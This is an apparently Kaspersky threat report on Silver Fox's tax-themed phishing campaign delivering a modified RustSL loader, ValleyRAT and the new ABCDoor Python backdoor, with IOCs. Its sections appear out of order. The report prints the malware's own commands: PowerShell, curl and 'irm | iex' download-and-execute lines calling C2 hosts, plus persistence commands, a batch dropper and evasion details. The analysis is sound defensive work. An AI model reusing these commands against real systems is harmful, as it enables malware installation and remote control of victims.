The unpacking process consists of the following stages:

Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
Original file containing the encrypted malicious payload
XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
Encrypted malicious payload prior to the final decryption stage
Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

ip-api.com (the GitHub version relies solely on this service)
ipwho.is
ipinfo.io
ipapi.co
www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

As an email attachment
Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

Embedded within the loader body
Hosted on an external website as a PNG image
Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key	Description
HKCU:\Console\0	For x86-based modules
HKCU:\Console\1	For x64-based modules
HKCU:\Console\IpDate	Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info	Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value	Module name	Library MD5 hash	Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0	保86.dll	4a5195a38a458cdd2c1b5ab13af3b393	2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0	保86.dll	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32
2375193669e243e830ef5794226352e7	保86.dll_bin	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

Using the InternetReadFile function with the User-Agent PythonDownloader
Using the URLDownloadToFile function

Using PowerShell:

powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

Using curl:

curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:

"C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

Persistence is established by executing the following command:

cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

Task scheduler: The malware executes

cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

MainManager: handles C2 connection and authorization (sending system metadata)
MessageManager: registers and executes message handlers
AutoStartManager: manages backdoor persistence
ClientManager: handles backdoor updates and removal
SystemInfoManager: collects data from the victim’s system, including screenshots
RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
FileManager: performs file system operations
KeyboardManager: emulates keyboard input
ProcessManager: manages system processes
ClipboardManager: exfiltrates clipboard contents to the C2
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

Emulating a double click while broadcasting the victim’s screen
A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version	Compiled date (UTC)	Key updates	ABCDoor .pyd MD5 hash
121	2024.12.19 18:27:11	– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg) – No OOP used – Registry persistence	5b998a5bc5ad1c550564294034d4a62c
143	2025.02.04 01:15:00	Client updates – Task scheduler persistence – OOP implementation (classes) – Clipboard management – Process management – Asymmetric file and directory encryption	c50c980d3f4b7ed970f083b0d37a6a6a
152	2025.04.01 15:39:36	– DPAPI encryption functions – Chunked file uploading to C2	de8f0008b15f2404f721f76fac34456a
154	2025.05.09 13:36:24	– Implementation of installation channels – Key combination emulation	9bf9f635019494c4b70fb0a7c0fb53e4
156	2025.08.11 13:36:10	– Retrieval and logging of initial installation time to the registry	a543b96b0938de798dd4f683dd92a94a
157	2025.08.28 14:23:57	– Use of DDA source in ffmpeg for monitor screen broadcasting	fa08b243f12e31940b8b4b82d3498804
157	2025.09.23 11:38:17	– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)	13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

- C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
- Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
```
powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"
```
  This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

- - Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
    - hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
    - hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
  - Utilizing URLs with arguments formatted as channel=[word_MMDD]:
  - hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
  - hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
  - hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

- - RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
  - RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
  - RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
  - MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
  - MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
  - MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

- - CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
  - November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
  - December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
  - December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
  - Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Securelist
Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India 30 April 2026 at 09:00

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

Securelist

By: Anton Kargin · Vladimir Gursky · Victoria Vlasova · Anna Lazaricheva

30 April 2026 at 09:00

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

Eight payload encryption methods
Thirteen memory allocation methods
Twelve sandbox and virtual machine detection techniques
Thirteen payload execution methods
Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
